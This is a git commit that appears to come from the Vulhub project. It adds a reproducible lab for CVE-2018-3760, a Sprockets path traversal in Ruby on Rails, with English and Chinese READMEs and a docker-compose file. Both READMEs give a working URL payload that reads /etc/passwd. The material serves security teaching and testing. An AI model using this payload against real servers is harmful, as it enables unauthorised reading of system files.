first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
rails/CVE-2018-3760/1.png
Normal file
BIN
rails/CVE-2018-3760/1.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 22 KiB |
BIN
rails/CVE-2018-3760/2.png
Normal file
BIN
rails/CVE-2018-3760/2.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
37
rails/CVE-2018-3760/README.md
Normal file
37
rails/CVE-2018-3760/README.md
Normal file
@@ -0,0 +1,37 @@
|
||||
# Ruby On Rails Path Traversal Vulnerability(CVE-2018-3760)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files.
|
||||
|
||||
There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server.
|
||||
|
||||
Reference links:
|
||||
|
||||
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
|
||||
- https://seclists.org/oss-sec/2018/q2/210
|
||||
- https://xz.aliyun.com/t/2542
|
||||
|
||||
## Environment setup
|
||||
|
||||
Enter the following command:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Visit `http://your-ip:3000` and you'll see the welcome page.
|
||||
|
||||
## POC
|
||||
|
||||
It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory.
|
||||
|
||||

|
||||
|
||||
We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`:
|
||||
|
||||
```
|
||||
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
|
||||
```
|
||||
|
||||

|
||||
35
rails/CVE-2018-3760/README.zh-cn.md
Normal file
35
rails/CVE-2018-3760/README.zh-cn.md
Normal file
@@ -0,0 +1,35 @@
|
||||
# Ruby On Rails 路径穿越漏洞(CVE-2018-3760)
|
||||
|
||||
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。
|
||||
|
||||
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用`%252e%252e/`来跨越到根目录,读取或执行目标服务器上任意文件。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
|
||||
- https://seclists.org/oss-sec/2018/q2/210
|
||||
- https://xz.aliyun.com/t/2542
|
||||
|
||||
## 环境搭建
|
||||
|
||||
启动一个用Ruby On Rails脚手架生成的默认站点:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
访问`http://your-ip:3000`即可查看到欢迎页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
直接访问`http://your-ip:3000/assets/file:%2f%2f/etc/passwd`,将会报错,因为文件`/etc/passwd`不在允许的目录中:
|
||||
|
||||

|
||||
|
||||
我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如`/usr/src/blog/app/assets/images`,然后使用`%252e%252e/`向上一层跳转,最后读取`/etc/passwd`:
|
||||
|
||||
```
|
||||
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
|
||||
```
|
||||
|
||||

|
||||
6
rails/CVE-2018-3760/docker-compose.yml
Normal file
6
rails/CVE-2018-3760/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/rails:5.0.7
|
||||
ports:
|
||||
- "3000:3000"
|
||||
Reference in New Issue
Block a user